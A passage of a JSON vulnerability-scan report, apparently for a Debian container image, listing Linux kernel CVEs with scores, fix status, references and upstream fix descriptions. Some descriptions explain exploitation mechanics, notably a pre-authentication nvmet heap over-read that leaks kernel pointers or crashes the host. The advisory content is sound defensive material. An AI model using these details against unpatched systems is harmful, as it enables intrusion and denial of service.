"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64305", "https://git.kernel.org/linus/5c6f845e77ec35f9b7b047cc8f9789bf397cdd3e%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0dbcecea740d943002c1cbdafa39bdfc108e32a5", "https://git.kernel.org/stable/c/11d48f777cf8fad00db044f4c15cdf821427746b", "https://git.kernel.org/stable/c/222fa7b453b612f4407f260146d89a2ce2bc831d", "https://git.kernel.org/stable/c/5c6f845e77ec35f9b7b047cc8f9789bf397cdd3e", "https://git.kernel.org/stable/c/c3c5925791cff3b84d313293fd60f384d877d793", "https://git.kernel.org/stable/c/d36bff434e01d06d1e1fa98aa2b34ec32185c1ab", "https://linux.oracle.com/cve/CVE-2026-64305.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072507-CVE-2026-64305-6cea@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64305", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64305" ], "PublishedDate": "2026-07-25T10:17:11.53Z", "LastModifiedDate": "2026-11-06T17:18:46.52Z" }, { "VulnerabilityID": "CVE-2026-64320", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64320", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3d9b4004cbeb7137469a3bacbc08ee3e82fbf0baa5b630ed0932527fded00dc7", "Title": "kernel: nvmet: fix pre-auth out-of-bounds heap read in Discovery Get Log Page", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet: fix pre-auth out-of-bounds heap read in Discovery Get Log Page\n\nnvmet_execute_disc_get_log_page() validates only the dword alignment\nof the host-supplied Log Page Offset (lpo). The 64-bit offset is then\nadded to a small kzalloc'd buffer that holds the discovery log page\nand the result is passed straight to nvmet_copy_to_sgl(), which\nmemcpy()s data_len bytes out to the host with no source-side bound\ncheck:\n\n u64 offset = nvmet_get_log_page_offset(req-\u003ecmd); /* 64-bit host */\n size_t data_len = nvmet_get_log_page_len(req-\u003ecmd); /* 32-bit host */\n ...\n if (offset \u0026 0x3) { ... } /* only check */\n ...\n alloc_len = sizeof(*hdr) + entry_size * discovery_log_entries(req);\n buffer = kzalloc(alloc_len, GFP_KERNEL);\n ...\n status = nvmet_copy_to_sgl(req, 0, buffer + offset, data_len);\n\nThe Discovery controller is unauthenticated -- nvmet_host_allowed()\nreturns true unconditionally for the discovery subsystem -- so the call\nis reachable pre-authentication by any TCP/RDMA/FC peer that can reach\nthe nvmet target. With a discovery log page of ~1 KiB, an attacker\nrequesting up to 4 KiB starting at offset == alloc_len reads the next\nslab page out and gets its content returned over the fabric (an\nempirical run on a default nvmet-tcp loopback target leaked 81\ncanonical kernel pointers in one Get Log Page response). Pointing the\noffset at unmapped kernel memory faults the in-kernel memcpy and\ncrashes (or panics, on panic_on_oops=1) the target host instead.\n\nThe attacker-controlled source-side offset pattern\n\"nvmet_copy_to_sgl(req, 0, buffer + ATTACKER_OFFSET, ...)\" is unique\nto nvmet_execute_disc_get_log_page in the entire nvmet codebase: every\nother Get Log Page handler in admin-cmd.c either ignores lpo (and\nsilently starts every response at offset 0) or tracks a local\ndestination offset with a fixed source pointer.\n\nValidate the host-supplied offset against the log page size, cap the\ncopy length to what is actually available, and zero-fill any remainder\nof the host transfer buffer. The zero-fill matches the existing\nshort-response pattern in nvmet_execute_get_log_changed_ns()\n(admin-cmd.c) and prevents leaking transport SGL contents when the\nhost asks for more bytes than the log page contains.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64808", "https://access.redhat.com/security/cve/CVE-2026-64320", "https://bugzilla.redhat.com/2370992", "https://bugzilla.redhat.com/2492097", "https://bugzilla.redhat.com/2492273", "https://bugzilla.redhat.com/2502527", "https://bugzilla.redhat.com/2507061", "https://bugzilla.redhat.com/2507096", "https://bugzilla.redhat.com/2507129", "https://bugzilla.redhat.com/2507287", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492273", "https://bugzilla.redhat.com/show_bug.cgi?id=2502527", "https://bugzilla.redhat.com/show_bug.cgi?id=2507061", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2507287", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64384", "https://errata.almalinux.org/9/ALSA-2026-64808.html", "https://errata.rockylinux.org/RLSA-2026:64808", "https://git.kernel.org/linus/53cd102a7a56079b11b897835bd9b94c14e6322c%20%287.2-rc1%29", "https://git.kernel.org/stable/c/33b974eb626154ae9348f2bac7de84cb2a3d9dd4", "https://git.kernel.org/stable/c/53cd102a7a56079b11b897835bd9b94c14e6322c", "https://git.kernel.org/stable/c/56c021a0869260d04c4b65d1471936aaf9177114", "https://git.kernel.org/stable/c/8ae9bb92fc9a712a8d32da9c5fd657101f9b260b", "https://git.kernel.org/stable/c/a29b316b9bbfd269f323ab4ba9906a894025680f", "https://git.kernel.org/stable/c/ff815b5e8688dcf68529b7f0fde8de5847f63f1e", "https://linux.oracle.com/cve/CVE-2026-64320.html", "https://linux.oracle.com/errata/ELSA-2026-64808-0.html", "https://lore.kernel.org/linux-cve-announce/2026072511-CVE-2026-64320-4b43@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64320", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64320" ], "PublishedDate": "2026-07-25T10:17:13.407Z", "LastModifiedDate": "2026-10-30T13:19:34.13Z" }, { "VulnerabilityID": "CVE-2026-64329", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64329", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f53e7b44fadddcded0c8ae96fb14fcba42bb74f6e7475e369225888ae1cf8489", "Title": "kernel: usb: typec: ucsi: ccg: Fix use-after-free of ucsi on remove", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: typec: ucsi: ccg: Fix use-after-free of ucsi on remove\n\nThe threaded IRQ handler ccg_irq_handler() calls ucsi_notify_common(),\nwhich on a connector-change event calls ucsi_connector_change() and\nschedules connector work. In ucsi_ccg_remove(), ucsi_destroy() frees\nuc-\u003eucsi (kfree) before free_irq() is called, so a handler invocation\nalready in flight may access the freed object after ucsi_destroy().\n\n CPU 0 (remove) | CPU 1 (threaded IRQ)\n ucsi_destroy(uc-\u003eucsi) | ccg_irq_handler()\n kfree(ucsi) // FREE | ucsi_notify_common(uc-\u003eucsi) // USE\n\nMove free_irq() before ucsi_destroy() in the remove path. It is kept\nafter ucsi_unregister(): ucsi_unregister() cancels connector work whose\nhandler issues GET_CONNECTOR_STATUS through ucsi_send_command_common(),\nwhich waits for a completion that is signalled from the IRQ handler, so\nthe IRQ must stay active until that work has been cancelled.\n\nThe probe error path already orders free_irq() before ucsi_destroy().\n\nThis bug was found by static analysis.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64329", "https://git.kernel.org/linus/1f0bdc2884b67de337215079bba166df0cdf4ac5%20%287.2-rc3%29", "https://git.kernel.org/stable/c/1a160076d3d0dcd4a98a4599ad96eec0790b099b", "https://git.kernel.org/stable/c/1f0bdc2884b67de337215079bba166df0cdf4ac5", "https://git.kernel.org/stable/c/86c9ee928c4a370e323e432aaf8dca79c4ba7c85", "https://git.kernel.org/stable/c/99381e762273a2410a3f0216000be32b013c0ea9", "https://git.kernel.org/stable/c/c32df11147822d22facee8fa30c2e8971d12f426", "https://git.kernel.org/stable/c/dbb500bad02146b388041877574829016591ddc8", "https://git.kernel.org/stable/c/f1adeb1ff8bef1467d6961059810795d02bbad5d", "https://git.kernel.org/stable/c/f5c772b76bbd95de8be51cf849c6098f6af6fcf9", "https://kernelcve.org/list/?q=CVE-2026-64329", "https://lore.kernel.org/linux-cve-announce/2026072513-CVE-2026-64329-017c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64329", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64329" ], "PublishedDate": "2026-07-25T10:17:14.54Z", "LastModifiedDate": "2026-11-06T17:18:48.137Z" }, { "VulnerabilityID": "CVE-2026-64330", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64330", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3e79ba1b68f7abd757fd35aeecda6fa737a3fd5778bd31980f3c2e0cbc58b20b", "Title": "kernel: usb: typec: tcpm: Validate SVID index in svdm_consume_modes()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: typec: tcpm: Validate SVID index in svdm_consume_modes()\n\nIn svdm_consume_modes(), the SVID value is read from pmdata-\u003esvids using\npmdata-\u003esvid_index as an array index without bounds validation:\n\n paltmode-\u003esvid = pmdata-\u003esvids[pmdata-\u003esvid_index];\n\nIf pmdata-\u003esvid_index is driven beyond SVID_DISCOVERY_MAX (16), it results\nin an out-of-bounds read of the pmdata-\u003esvids array. Because pd_mode_data\nis embedded inside struct tcpm_port, indexing past svids reads into\nadjacent fields. In particular:\n- At index 16, it reads the altmodes count.\n- At index 18 and beyond, it reads into altmode_desc[], which contains\n partner-supplied SVDM Discovery Modes VDOs.\n\nBy injecting a chosen SVID into altmode_desc[0].vdo and driving svid_index\nto 20, the partner can force paltmode-\u003esvid to be loaded with an arbitrary,\npartner- chosen SVID, which is then registered via\ntypec_partner_register_altmode().\n\nFix this by validating that pmdata-\u003esvid_index is non-negative and strictly\nless than pmdata-\u003ensvids before accessing the pmdata-\u003esvids array inside\nsvdm_consume_modes().", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64330", "https://git.kernel.org/linus/7b681dd5fbf60b24a13c14661e5b7735759fb491%20%287.2-rc3%29", "https://git.kernel.org/stable/c/012406f89abc52d1d5f07aa5653b519ebf6d2407", "https://git.kernel.org/stable/c/313ca06e7e224ca1dfadd5722fe71fb8bc276b8b", "https://git.kernel.org/stable/c/3e1b1ac47e8163627f159f30d80d51b914620dd4", "https://git.kernel.org/stable/c/7b681dd5fbf60b24a13c14661e5b7735759fb491", "https://git.kernel.org/stable/c/89ff289cbf5d3b659a2babc5ccaae4eaf7e7cf53", "https://git.kernel.org/stable/c/c6d2af3b217a525741c472f0ab45d7d274b8468f", "https://git.kernel.org/stable/c/d638ec188e95fe60f4b01106ffd41958f8fb3c2c", "https://git.kernel.org/stable/c/f8163c414de8640f2ca82ce4dc93409d4cdc2fad", "https://linux.oracle.com/cve/CVE-2026-64330.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072513-CVE-2026-64330-372d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64330", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64330" ], "PublishedDate": "2026-07-25T10:17:14.673Z", "LastModifiedDate": "2026-11-06T17:18:48.32Z" }, { "VulnerabilityID": "CVE-2026-64340", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64340", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ebb3966263d522ffe908b85af9e7052c24f5a6cd7128d53629fe91a201321d9b", "Title": "kernel: USB: legousbtower: fix use-after-free on disconnect race", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: legousbtower: fix use-after-free on disconnect race\n\nmutex_unlock() may access the mutex structure after releasing the lock\nand therefore cannot be used to manage lifetime of objects directly\n(unlike spinlocks and refcounts). [1][2]\n\nUse a kref to release the driver data to avoid use-after-free in\nmutex_unlock() when release() races with disconnect().\n\n[1] a51749ab34d9 (\"locking/mutex: Document that mutex_unlock() is\n non-atomic\")\n[2] 2b9d9e0a9ba0 (\"locking/mutex: Clarify that mutex_unlock(), and most\n other sleeping locks, can still use the lock object\n after it's unlocked\")", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64340", "https://git.kernel.org/linus/62fc8eb1b1481051f7bab4aa93d79809053dd09f%20%287.2-rc3%29", "https://git.kernel.org/stable/c/0b57e5ddbd89df3bc367463de3d2ca66f99a1a5e", "https://git.kernel.org/stable/c/11d069f85851997b4ea0adf242ed9672dc749b8f", "https://git.kernel.org/stable/c/62fc8eb1b1481051f7bab4aa93d79809053dd09f", "https://git.kernel.org/stable/c/6462de75d2e370c7e74dcfb7b4ae79eb5a6a55ee", "https://git.kernel.org/stable/c/766738ecf2b819e54d38763c8d1c8ae6cff14b39", "https://git.kernel.org/stable/c/9ba62966461a8e3cc593b62c56ec62eb2d80436d", "https://git.kernel.org/stable/c/ab2bfd7bec4f134b377ec42f513e90c35db94160", "https://git.kernel.org/stable/c/b4222c05066b252b451f9c8c4730b5b60824ea66", "https://linux.oracle.com/cve/CVE-2026-64340.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072515-CVE-2026-64340-1720@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64340", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64340" ], "PublishedDate": "2026-07-25T10:17:15.983Z", "LastModifiedDate": "2026-11-06T17:18:49.567Z" }, { "VulnerabilityID": "CVE-2026-64341", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64341", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:595e40de900de375996a53de1f9aabdd1893b0b9cbfbdd31580e0ca216000d9e", "Title": "kernel: USB: iowarrior: fix use-after-free on disconnect race", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: iowarrior: fix use-after-free on disconnect race\n\nmutex_unlock() may access the mutex structure after releasing the lock\nand therefore cannot be used to manage lifetime of objects directly\n(unlike spinlocks and refcounts). [1][2]\n\nUse a kref to release the driver data to avoid use-after-free in\nmutex_unlock() when release() races with disconnect().\n\n[1] a51749ab34d9 (\"locking/mutex: Document that mutex_unlock() is non-atomic\")\n[2] 2b9d9e0a9ba0 (\"locking/mutex: Clarify that mutex_unlock(), and most\n other sleeping locks, can still use the lock object\n after it's unlocked\")", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64341", "https://git.kernel.org/linus/c602254ba4c10f60a73cd99d147874f86a3f485c%20%287.2-rc3%29", "https://git.kernel.org/stable/c/30ec3025b771511625375fb3fb959aea3b45fb0d", "https://git.kernel.org/stable/c/3c0a7b29ebb391d5f50b115e86f842b709195b08", "https://git.kernel.org/stable/c/4e7d3c98fed73d3be84d3e146d8d9be0309e725b", "https://git.kernel.org/stable/c/71590982700fdeb39a37a500c877228b0140978e", "https://git.kernel.org/stable/c/9472acd56a020c93be4189d2dba9c743b9fc8039", "https://git.kernel.org/stable/c/c602254ba4c10f60a73cd99d147874f86a3f485c", "https://linux.oracle.com/cve/CVE-2026-64341.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072516-CVE-2026-64341-c06f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64341", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64341" ], "PublishedDate": "2026-07-25T10:17:16.117Z", "LastModifiedDate": "2026-11-06T17:18:49.747Z" }, { "VulnerabilityID": "CVE-2026-64342", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64342", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1ba6a416fa9004421957f4c78216368379379a061d5db50d9c3ccadc88bd3096", "Title": "kernel: USB: iowarrior: fix use-after-free on disconnect", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: iowarrior: fix use-after-free on disconnect\n\nSubmitted write URBs are not stopped on close() and therefore need to be\nstopped unconditionally on disconnect() to avoid use-after-free in the\ncompletion handler.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64342", "https://git.kernel.org/linus/bc0e4f16c44e50daa0b1ea729934baa3b4815dee%20%287.2-rc3%29", "https://git.kernel.org/stable/c/164398601a7f160bc3df1efa454f983302cef03f", "https://git.kernel.org/stable/c/97ad9337127be04ca0b027c2b01e69302353f404", "https://git.kernel.org/stable/c/a7bbe946ca3a6eeb6f364d5e84b05e02c7c0d595", "https://git.kernel.org/stable/c/b748f97aff339e7f08dca9cf38a05b980fb66fea", "https://git.kernel.org/stable/c/bc0e4f16c44e50daa0b1ea729934baa3b4815dee", "https://git.kernel.org/stable/c/d058d377291567b72aea33b017215cbfb383b0ad", "https://git.kernel.org/stable/c/e4596816984efc537e7c04c1af0c639394f967f7", "https://git.kernel.org/stable/c/f328b0e9a0dbd162f5db1b83026b689f2fea2241", "https://linux.oracle.com/cve/CVE-2026-64342.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072516-CVE-2026-64342-06a6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64342", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", 